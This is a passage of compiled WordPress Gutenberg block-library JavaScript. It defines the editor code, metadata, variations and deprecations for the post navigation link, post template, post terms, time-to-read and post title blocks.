      showControls && /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(import_block_editor195.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
        import_block_editor195.AlignmentToolbar,
        {
          value: textAlign,
          onChange: (nextAlign) => {
            setAttributes({ textAlign: nextAlign });
          }
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime371.jsxs)("div", { ...blockProps, children: [
        !isNext && displayArrow && /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
          "span",
          {
            className: `wp-block-post-navigation-link__arrow-previous is-arrow-${arrow}`,
            children: displayArrow
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
          import_block_editor195.RichText,
          {
            tagName: "a",
            identifier: "label",
            "aria-label": ariaLabel,
            placeholder: placeholder2,
            value: label,
            withoutInteractiveFormatting: true,
            onChange: (newLabel) => setAttributes({ label: newLabel })
          }
        ),
        showTitle && /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
          "a",
          {
            href: "#post-navigation-pseudo-link",
            onClick: (event) => event.preventDefault(),
            children: (0, import_i18n173.__)("An example title")
          }
        ),
        isNext && displayArrow && /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
          "span",
          {
            className: `wp-block-post-navigation-link__arrow-next is-arrow-${arrow}`,
            "aria-hidden": true,
            children: displayArrow
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/post-navigation-link/variations.mjs
  var import_i18n174 = __toESM(require_i18n(), 1);
  var variations11 = [
    {
      name: "post-previous",
      title: (0, import_i18n174.__)("Previous Post"),
      description: (0, import_i18n174.__)(
        "Displays the post link that precedes the current post."
      ),
      icon: previous_default,
      attributes: { type: "previous" },
      scope: ["inserter", "transform"],
      example: {
        attributes: {
          label: (0, import_i18n174.__)("Previous post"),
          arrow: "arrow"
        }
      }
    },
    {
      isDefault: true,
      name: "post-next",
      title: (0, import_i18n174.__)("Next Post"),
      description: (0, import_i18n174.__)(
        "Displays the post link that follows the current post."
      ),
      icon: next_default,
      attributes: { type: "next" },
      scope: ["inserter", "transform"],
      example: {
        attributes: {
          label: (0, import_i18n174.__)("Next post"),
          arrow: "arrow"
        }
      }
    }
  ];
  variations11.forEach((variation) => {
    if (variation.isActive) {
      return;
    }
    variation.isActive = (blockAttributes8, variationAttributes) => blockAttributes8.type === variationAttributes.type;
  });
  var variations_default11 = variations11;

  // packages/block-library/build-module/post-navigation-link/index.mjs
  var { name: name77 } = block_default76;
  var settings76 = {
    edit: PostNavigationLinkEdit,
    variations: variations_default11,
    example: {
      attributes: {
        label: (0, import_i18n175.__)("Next post"),
        arrow: "arrow"
      }
    }
  };
  var init76 = () => initBlock({ name: name77, metadata: block_default76, settings: settings76 });

  // packages/block-library/build-module/post-template/index.mjs
  var post_template_exports = {};
  __export(post_template_exports, {
    init: () => init77,
    metadata: () => block_default77,
    name: () => name78,
    settings: () => settings77
  });

  // packages/block-library/build-module/post-template/block.json
  var block_default77 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-template",
    title: "Post Template",
    category: "theme",
    ancestor: ["core/query"],
    description: "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.",
    textdomain: "default",
    usesContext: [
      "queryId",
      "query",
      "displayLayout",
      "templateSlug",
      "previewPostType",
      "enhancedPagination",
      "postType"
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      align: ["wide", "full"],
      layout: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        blockGap: {
          __experimentalDefault: "1.25em"
        },
        __experimentalDefaultControls: {
          blockGap: true,
          padding: false,
          margin: false
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    style: "wp-block-post-template",
    editorStyle: "wp-block-post-template-editor"
  };

  // packages/block-library/build-module/post-template/edit.mjs
  var import_element99 = __toESM(require_element(), 1);
  var import_data108 = __toESM(require_data(), 1);
  var import_i18n176 = __toESM(require_i18n(), 1);
  var import_block_editor196 = __toESM(require_block_editor(), 1);
  var import_components114 = __toESM(require_components(), 1);
  var import_core_data63 = __toESM(require_core_data(), 1);
  var import_jsx_runtime372 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE12 = [
    ["core/post-title"],
    [
      "core/post-date",
      {
        metadata: {
          bindings: {
            datetime: {
              source: "core/post-data",
              args: { field: "date" }
            }
          }
        }
      }
    ],
    ["core/post-excerpt"]
  ];
  function PostTemplateInnerBlocks({ classList }) {
    const innerBlocksProps = (0, import_block_editor196.useInnerBlocksProps)(
      { className: clsx_default("wp-block-post", classList) },
      { template: TEMPLATE12, __unstableDisableLayoutClassNames: true }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime372.jsx)("li", { ...innerBlocksProps });
  }
  function PostTemplateBlockPreview({
    blocks,
    blockContextId,
    classList,
    isHidden,
    setActiveBlockContextId
  }) {
    const blockPreviewProps = (0, import_block_editor196.__experimentalUseBlockPreview)({
      blocks,
      props: {
        className: clsx_default("wp-block-post", classList)
      }
    });
    const handleOnClick = () => {
      setActiveBlockContextId(blockContextId);
    };
    const style2 = {
      display: isHidden ? "none" : void 0
    };
    return /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(
      "li",
      {
        ...blockPreviewProps,
        tabIndex: 0,
        role: "button",
        onClick: handleOnClick,
        onKeyPress: handleOnClick,
        style: style2
      }
    );
  }
  var MemoizedPostTemplateBlockPreview = (0, import_element99.memo)(PostTemplateBlockPreview);
  function PostTemplateEdit({
    setAttributes,
    clientId,
    context: {
      query: {
        perPage,
        offset = 0,
        postType,
        order,
        orderBy,
        author,
        search,
        exclude,
        sticky,
        inherit,
        taxQuery,
        parents,
        pages,
        format: format3,
        // We gather extra query args to pass to the REST API call.
        // This way extenders of Query Loop can add their own query args,
        // and have accurate previews in the editor.
        // Noting though that these args should either be supported by the
        // REST API or be handled by custom REST filters like `rest_{$this->post_type}_query`.
        ...restQueryArgs
      } = {},
      templateSlug,
      previewPostType
    },
    attributes: { layout },
    __unstableLayoutClassNames
  }) {
    const { type: layoutType, columnCount = 3 } = layout || {};
    const [activeBlockContextId, setActiveBlockContextId] = (0, import_element99.useState)();
    const { posts, blocks } = (0, import_data108.useSelect)(
      (select9) => {
        const { getEntityRecords, getTaxonomies } = select9(import_core_data63.store);
        const { getBlocks } = select9(import_block_editor196.store);
        const templateCategory = inherit && templateSlug?.startsWith("category-") && getEntityRecords("taxonomy", "category", {
          context: "view",
          per_page: 1,
          _fields: ["id"],
          slug: templateSlug.replace("category-", "")
        });
        const templateTag = inherit && templateSlug?.startsWith("tag-") && getEntityRecords("taxonomy", "post_tag", {
          context: "view",
          per_page: 1,
          _fields: ["id"],
          slug: templateSlug.replace("tag-", "")
        });
        const query = {
          offset: offset || 0,
          order,
          orderby: orderBy
        };
        if (taxQuery && !inherit) {
          const taxonomies = getTaxonomies({
            type: postType,
            per_page: -1,
            context: "view"
          });
          const buildTaxQuery = (terms, suffix = "") => {
            return Object.entries(terms || {}).reduce(
              (accumulator, [taxonomySlug, termIds]) => {
                const taxonomy = taxonomies?.find(
                  ({ slug }) => slug === taxonomySlug
                );
                if (taxonomy?.rest_base && termIds?.length) {
                  accumulator[taxonomy.rest_base + suffix] = termIds;
                }
                return accumulator;
              },
              {}
            );
          };
          const builtTaxQuery = buildTaxQuery(taxQuery.include);
          if (taxQuery.exclude) {
            Object.assign(
              builtTaxQuery,
              buildTaxQuery(taxQuery.exclude, "_exclude")
            );
          }
          if (!!Object.keys(builtTaxQuery).length) {
            Object.assign(query, builtTaxQuery);
          }
        }
        if (perPage) {
          query.per_page = perPage;
        }
        if (author) {
          query.author = author;
        }
        if (search) {
          query.search = search;
        }
        if (exclude?.length) {
          query.exclude = exclude;
        }
        if (parents?.length) {
          query.parent = parents;
        }
        if (format3?.length) {
          query.format = format3;
        }
        if (["exclude", "only"].includes(sticky)) {
          query.sticky = sticky === "only";
        }
        if (["", "ignore"].includes(sticky)) {
          delete query.sticky;
          query.ignore_sticky = sticky === "ignore";
        }
        let currentPostType = postType;
        if (inherit) {
          if (templateSlug?.startsWith("archive-")) {
            query.postType = templateSlug.replace("archive-", "");
            currentPostType = query.postType;
          } else if (templateCategory) {
            query.categories = templateCategory[0]?.id;
          } else if (templateTag) {
            query.tags = templateTag[0]?.id;
          } else if (templateSlug?.startsWith("taxonomy-post_format")) {
            query.format = templateSlug.replace(
              "taxonomy-post_format-post-format-",
              ""
            );
          }
        }
        const usedPostType = previewPostType || currentPostType;
        return {
          posts: getEntityRecords("postType", usedPostType, {
            ...query,
            ...restQueryArgs
          }),
          blocks: getBlocks(clientId)
        };
      },
      [
        perPage,
        offset,
        order,
        orderBy,
        clientId,
        author,
        search,
        postType,
        exclude,
        sticky,
        inherit,
        templateSlug,
        taxQuery,
        parents,
        format3,
        restQueryArgs,
        previewPostType
      ]
    );
    const blockContexts = (0, import_element99.useMemo)(
      () => posts?.map((post) => ({
        postType: post.type,
        postId: post.id,
        classList: post.class_list ?? ""
      })),
      [posts]
    );
    const blockProps = (0, import_block_editor196.useBlockProps)({
      className: clsx_default(__unstableLayoutClassNames, {
        [`columns-${columnCount}`]: layoutType === "grid" && columnCount
        // Ensure column count is flagged via classname for backwards compatibility.
      })
    });
    if (!posts) {
      return /* @__PURE__ */ (0, import_jsx_runtime372.jsx)("p", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(import_components114.Spinner, {}) });
    }
    if (!posts.length) {
      return /* @__PURE__ */ (0, import_jsx_runtime372.jsxs)("p", { ...blockProps, children: [
        " ",
        (0, import_i18n176.__)("No results found.")
      ] });
    }
    const setDisplayLayout = (newDisplayLayout) => setAttributes({
      layout: { ...layout, ...newDisplayLayout }
    });
    const displayLayoutControls = [
      {
        icon: list_default,
        title: (0, import_i18n176._x)("List view", "Post template block display setting"),
        onClick: () => setDisplayLayout({ type: "default" }),
        isActive: layoutType === "default" || layoutType === "constrained"
      },
      {
        icon: grid_default,
        title: (0, import_i18n176._x)("Grid view", "Post template block display setting"),
        onClick: () => setDisplayLayout({
          type: "grid",
          columnCount
        }),
        isActive: layoutType === "grid"
      }
    ];
    return /* @__PURE__ */ (0, import_jsx_runtime372.jsxs)(import_jsx_runtime372.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(import_block_editor196.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(import_components114.ToolbarGroup, { controls: displayLayoutControls }) }),
      /* @__PURE__ */ (0, import_jsx_runtime372.jsx)("ul", { ...blockProps, children: blockContexts && blockContexts.map((blockContext) => /* @__PURE__ */ (0, import_jsx_runtime372.jsxs)(
        import_block_editor196.BlockContextProvider,
        {
          value: blockContext,
          children: [
            blockContext.postId === (activeBlockContextId || blockContexts[0]?.postId) ? /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(
              PostTemplateInnerBlocks,
              {
                classList: blockContext.classList
              }
            ) : null,
            /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(
              MemoizedPostTemplateBlockPreview,
              {
                blocks,
                blockContextId: blockContext.postId,
                classList: blockContext.classList,
                setActiveBlockContextId,
                isHidden: blockContext.postId === (activeBlockContextId || blockContexts[0]?.postId)
              }
            )
          ]
        },
        blockContext.postId
      )) })
    ] });
  }

  // packages/block-library/build-module/post-template/save.mjs
  var import_block_editor197 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime373 = __toESM(require_jsx_runtime(), 1);
  function PostTemplateSave() {
    return /* @__PURE__ */ (0, import_jsx_runtime373.jsx)(import_block_editor197.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/post-template/index.mjs
  var { name: name78 } = block_default77;
  var settings77 = {
    icon: layout_default,
    edit: PostTemplateEdit,
    save: PostTemplateSave
  };
  var init77 = () => initBlock({ name: name78, metadata: block_default77, settings: settings77 });

  // packages/block-library/build-module/post-terms/index.mjs
  var post_terms_exports = {};
  __export(post_terms_exports, {
    init: () => init78,
    metadata: () => block_default78,
    name: () => name79,
    settings: () => settings78
  });
  var import_hooks57 = __toESM(require_hooks(), 1);

  // packages/block-library/build-module/post-terms/block.json
  var block_default78 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-terms",
    title: "Post Terms",
    category: "theme",
    description: "Post terms.",
    textdomain: "default",
    attributes: {
      term: {
        type: "string"
      },
      separator: {
        type: "string",
        default: ", "
      },
      prefix: {
        type: "string",
        default: "",
        role: "content"
      },
      suffix: {
        type: "string",
        default: "",
        role: "content"
      }
    },
    usesContext: ["postId", "postType"],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-post-terms"
  };

  // packages/block-library/build-module/post-terms/edit.mjs
  var import_block_editor198 = __toESM(require_block_editor(), 1);
  var import_blocks86 = __toESM(require_blocks(), 1);
  var import_components115 = __toESM(require_components(), 1);
  var import_data110 = __toESM(require_data(), 1);
  var import_html_entities9 = __toESM(require_html_entities(), 1);
  var import_i18n177 = __toESM(require_i18n(), 1);
  var import_core_data65 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/post-terms/use-post-terms.mjs
  var import_core_data64 = __toESM(require_core_data(), 1);
  var import_data109 = __toESM(require_data(), 1);
  var EMPTY_ARRAY3 = [];
  function usePostTerms({ postId, term }) {
    const { slug } = term;
    return (0, import_data109.useSelect)(
      (select9) => {
        const visible = term?.visibility?.publicly_queryable;
        if (!visible || !postId) {
          return {
            postTerms: EMPTY_ARRAY3,
            isLoading: false,
            hasPostTerms: false
          };
        }
        const { getEntityRecords, isResolving } = select9(import_core_data64.store);
        const taxonomyArgs = [
          "taxonomy",
          slug,
          {
            post: postId,
            per_page: -1,
            context: "view"
          }
        ];
        const terms = getEntityRecords(...taxonomyArgs);
        return {
          postTerms: terms,
          isLoading: isResolving("getEntityRecords", taxonomyArgs),
          hasPostTerms: !!terms?.length
        };
      },
      [postId, term?.visibility?.publicly_queryable, slug]
    );
  }

  // packages/block-library/build-module/post-terms/edit.mjs
  var import_jsx_runtime374 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_FORMATS = [
    "core/bold",
    "core/image",
    "core/italic",
    "core/link",
    "core/strikethrough",
    "core/text-color"
  ];
  function PostTermsEdit({
    attributes: attributes2,
    clientId,
    context,
    isSelected,
    setAttributes,
    insertBlocksAfter
  }) {
    const { term, separator, prefix, suffix } = attributes2;
    const { postId, postType } = context;
    const selectedTerm = (0, import_data110.useSelect)(
      (select9) => {
        if (!term) {
          return {};
        }
        const { getTaxonomy } = select9(import_core_data65.store);
        const taxonomy = getTaxonomy(term);
        return taxonomy?.visibility?.publicly_queryable ? taxonomy : {};
      },
      [term]
    );
    const { postTerms, hasPostTerms, isLoading } = usePostTerms({
      postId,
      term: selectedTerm
    });
    const hasPost = postId && postType;
    const blockInformation = (0, import_block_editor198.useBlockDisplayInformation)(clientId);
    const blockProps = (0, import_block_editor198.useBlockProps)({
      className: term && `taxonomy-${term}`
    });
    return /* @__PURE__ */ (0, import_jsx_runtime374.jsxs)(import_jsx_runtime374.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(import_block_editor198.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(
        import_components115.TextControl,
        {
          __next40pxDefaultSize: true,
          autoComplete: "off",
          label: (0, import_i18n177.__)("Separator"),
          value: separator || "",
          onChange: (nextValue) => {
            setAttributes({ separator: nextValue });
          },
          help: (0, import_i18n177.__)("Enter character(s) used to separate terms.")
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime374.jsxs)("div", { ...blockProps, children: [
        isLoading && hasPost && /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(import_components115.Spinner, {}),
        !isLoading && (isSelected || prefix) && /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(
          import_block_editor198.RichText,
          {
            identifier: "prefix",
            allowedFormats: ALLOWED_FORMATS,
            className: "wp-block-post-terms__prefix",
            "aria-label": (0, import_i18n177.__)("Prefix"),
            placeholder: (0, import_i18n177.__)("Prefix") + " ",
            value: prefix,
            onChange: (value) => setAttributes({ prefix: value }),
            tagName: "span"
          }
        ),
        (!hasPost || !term) && /* @__PURE__ */ (0, import_jsx_runtime374.jsx)("span", { children: blockInformation.title }),
        hasPost && !isLoading && hasPostTerms && postTerms.map((postTerm) => /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(
          "a",
          {
            href: postTerm.link,
            onClick: (event) => event.preventDefault(),
            rel: "tag",
            children: (0, import_html_entities9.decodeEntities)(postTerm.name)
          },
          postTerm.id
        )).reduce((prev, curr) => /* @__PURE__ */ (0, import_jsx_runtime374.jsxs)(import_jsx_runtime374.Fragment, { children: [
          prev,
          /* @__PURE__ */ (0, import_jsx_runtime374.jsx)("span", { className: "wp-block-post-terms__separator", children: separator || " " }),
          curr
        ] })),
        hasPost && !isLoading && !hasPostTerms && (selectedTerm?.labels?.no_terms || (0, import_i18n177.__)("Term items not found.")),
        !isLoading && (isSelected || suffix) && /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(
          import_block_editor198.RichText,
          {
            identifier: "suffix",
            allowedFormats: ALLOWED_FORMATS,
            className: "wp-block-post-terms__suffix",
            "aria-label": (0, import_i18n177.__)("Suffix"),
            placeholder: " " + (0, import_i18n177.__)("Suffix"),
            value: suffix,
            onChange: (value) => setAttributes({ suffix: value }),
            tagName: "span",
            __unstableOnSplitAtEnd: () => insertBlocksAfter(
              (0, import_blocks86.createBlock)((0, import_blocks86.getDefaultBlockName)())
            )
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/post-terms/hooks.mjs
  var variationIconMap = {
    category: post_categories_default,
    post_tag: post_terms_default
  };
  function enhanceVariations(settings122, name123) {
    if (name123 !== "core/post-terms") {
      return settings122;
    }
    const variations18 = settings122.variations.map((variation) => ({
      ...variation,
      ...{
        icon: variationIconMap[variation.name] ?? post_categories_default
      }
    }));
    return {
      ...settings122,
      variations: variations18
    };
  }

  // packages/block-library/build-module/post-terms/deprecated.mjs
  var v131 = {
    attributes: {
      textAlign: {
        type: "string"
      },
      term: {
        type: "string"
      },
      separator: {
        type: "string",
        default: ", "
      },
      prefix: {
        type: "string",
        default: "",
        role: "content"
      },
      suffix: {
        type: "string",
        default: "",
        role: "content"
      }
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () => null
  };
  var deprecated_default36 = [v131];

  // packages/block-library/build-module/post-terms/index.mjs
  var { name: name79 } = block_default78;
  var settings78 = {
    icon: post_categories_default,
    edit: PostTermsEdit,
    deprecated: deprecated_default36
  };
  var init78 = () => {
    (0, import_hooks57.addFilter)(
      "blocks.registerBlockType",
      "core/template-part",
      enhanceVariations
    );
    return initBlock({ name: name79, metadata: block_default78, settings: settings78 });
  };

  // packages/block-library/build-module/post-time-to-read/index.mjs
  var post_time_to_read_exports = {};
  __export(post_time_to_read_exports, {
    init: () => init79,
    metadata: () => block_default79,
    name: () => name80,
    settings: () => settings79
  });

  // packages/block-library/build-module/post-time-to-read/block.json
  var block_default79 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-time-to-read",
    title: "Time to Read",
    category: "theme",
    description: "Show minutes required to finish reading the post. Can also show a word count.",
    textdomain: "default",
    usesContext: ["postId", "postType"],
    attributes: {
      displayAsRange: {
        type: "boolean",
        default: true
      },
      displayMode: {
        type: "string",
        default: "time"
      },
      averageReadingSpeed: {
        type: "number",
        default: 189
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      html: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    }
  };

  // packages/block-library/build-module/post-time-to-read/edit.mjs
  var import_i18n178 = __toESM(require_i18n(), 1);
  var import_element100 = __toESM(require_element(), 1);
  var import_block_editor199 = __toESM(require_block_editor(), 1);
  var import_components116 = __toESM(require_components(), 1);
  var import_blocks87 = __toESM(require_blocks(), 1);
  var import_core_data66 = __toESM(require_core_data(), 1);
  var import_wordcount = __toESM(require_wordcount(), 1);
  var import_jsx_runtime375 = __toESM(require_jsx_runtime(), 1);
  function PostTimeToReadEdit({ attributes: attributes2, setAttributes, context }) {
    const { displayAsRange, displayMode, averageReadingSpeed } = attributes2;
    const { postId, postType } = context;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const [contentStructure] = (0, import_core_data66.useEntityProp)(
      "postType",
      postType,
      "content",
      postId
    );
    const [blocks] = (0, import_core_data66.useEntityBlockEditor)("postType", postType, {
      id: postId
    });
    const displayString = (0, import_element100.useMemo)(() => {
      let content;
      if (contentStructure instanceof Function) {
        content = contentStructure({ blocks });
      } else if (blocks) {
        content = (0, import_blocks87.__unstableSerializeAndClean)(blocks);
      } else {
        content = contentStructure;
      }
      const wordCountType = (0, import_i18n178._x)(
        "words",
        "Word count type. Do not translate!"
      );
      const totalWords = (0, import_wordcount.count)(content || "", wordCountType);
      if (displayMode === "time") {
        if (displayAsRange) {
          let maxMinutes = Math.max(
            1,
            Math.round(totalWords / averageReadingSpeed * 1.2)
          );
          const minMinutes = Math.max(
            1,
            Math.round(totalWords / averageReadingSpeed * 0.8)
          );
          if (minMinutes === maxMinutes) {
            maxMinutes = maxMinutes + 1;
          }
          const rangeLabel = (0, import_i18n178._x)(
            "%1$s\u2013%2$s minutes",
            "Range of minutes to read"
          );
          return (0, import_i18n178.sprintf)(rangeLabel, minMinutes, maxMinutes);
        }
        const minutesToRead = Math.max(
          1,
          Math.round(totalWords / averageReadingSpeed)
        );
        return (0, import_i18n178.sprintf)(
          /* translators: %s: the number of minutes to read the post. */
          (0, import_i18n178._n)("%s minute", "%s minutes", minutesToRead),
          minutesToRead
        );
      }
      if (displayMode === "words") {
        return wordCountType === "words" ? (0, import_i18n178.sprintf)(
          /* translators: %s: the number of words in the post. */
          (0, import_i18n178._n)("%s word", "%s words", totalWords),
          totalWords.toLocaleString()
        ) : (0, import_i18n178.sprintf)(
          /* translators: %s: the number of characters in the post. */
          (0, import_i18n178._n)("%s character", "%s characters", totalWords),
          totalWords.toLocaleString()
        );
      }
    }, [
      contentStructure,
      blocks,
      displayAsRange,
      displayMode,
      averageReadingSpeed
    ]);
    const blockProps = (0, import_block_editor199.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime375.jsxs)(import_jsx_runtime375.Fragment, { children: [
      displayMode === "time" && /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(import_block_editor199.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(
        import_components116.__experimentalToolsPanel,
        {
          label: (0, import_i18n178.__)("Settings"),
          resetAll: () => {
            setAttributes({
              displayAsRange: true
            });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(
            import_components116.__experimentalToolsPanelItem,
            {
              isShownByDefault: true,
              label: (0, import_i18n178._x)(
                "Display as range",
                "Turns reading time range display on or off"
              ),
              hasValue: () => !displayAsRange,
              onDeselect: () => {
                setAttributes({
                  displayAsRange: true
                });
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(
                import_components116.ToggleControl,
                {
                  label: (0, import_i18n178.__)("Display as range"),
                  checked: !!displayAsRange,
                  onChange: () => setAttributes({
                    displayAsRange: !displayAsRange
                  })
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime375.jsx)("div", { ...blockProps, children: displayString })
    ] });
  }
  var edit_default29 = PostTimeToReadEdit;

  // packages/block-library/build-module/post-time-to-read/variations.mjs
  var import_i18n179 = __toESM(require_i18n(), 1);
  var variations12 = [
    {
      name: "time-to-read",
      title: (0, import_i18n179.__)("Time to Read"),
      description: (0, import_i18n179.__)("Show minutes required to finish reading the post."),
      attributes: {
        displayMode: "time"
      },
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.displayMode === "time",
      icon: time_to_read_default,
      isDefault: true
    },
    {
      name: "word-count",
      title: (0, import_i18n179.__)("Word Count"),
      description: (0, import_i18n179.__)("Show the number of words in the post."),
      attributes: {
        displayMode: "words"
      },
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.displayMode === "words",
      icon: word_count_default
    }
  ];
  var variations_default12 = variations12;

  // packages/block-library/build-module/post-time-to-read/deprecated.mjs
  var v133 = {
    attributes: {
      textAlign: {
        type: "string"
      },
      displayAsRange: {
        type: "boolean",
        default: true
      },
      displayMode: {
        type: "string",
        default: "time"
      },
      averageReadingSpeed: {
        type: "number",
        default: 189
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      html: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () => null
  };
  var deprecated_default37 = [v133];

  // packages/block-library/build-module/post-time-to-read/index.mjs
  var { name: name80 } = block_default79;
  var settings79 = {
    icon: time_to_read_default,
    edit: edit_default29,
    variations: variations_default12,
    example: {},
    deprecated: deprecated_default37
  };
  var init79 = () => initBlock({ name: name80, metadata: block_default79, settings: settings79 });

  // packages/block-library/build-module/post-title/index.mjs
  var post_title_exports = {};
  __export(post_title_exports, {
    init: () => init80,
    metadata: () => block_default80,
    name: () => name81,
    settings: () => settings80
  });

  // packages/block-library/build-module/post-title/block.json
  var block_default80 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-title",
    title: "Title",
    category: "theme",
    description: "Displays the title of a post, page, or any other content-type.",
    textdomain: "default",
    usesContext: ["postId", "postType", "queryId"],
    attributes: {
      textAlign: {
        type: "string"
      },
      level: {
        type: "number",
        default: 2
      },
      levelOptions: {
        type: "array"
      },
      isLink: {
        type: "boolean",
        default: false,
        role: "content"
      },
      rel: {
        type: "string",
        attribute: "rel",
        default: "",
        role: "content"
      },
      linkTarget: {
        type: "string",
        default: "_self",
        role: "content"
      }
    },
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      align: ["wide", "full"],
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-post-title"
  };

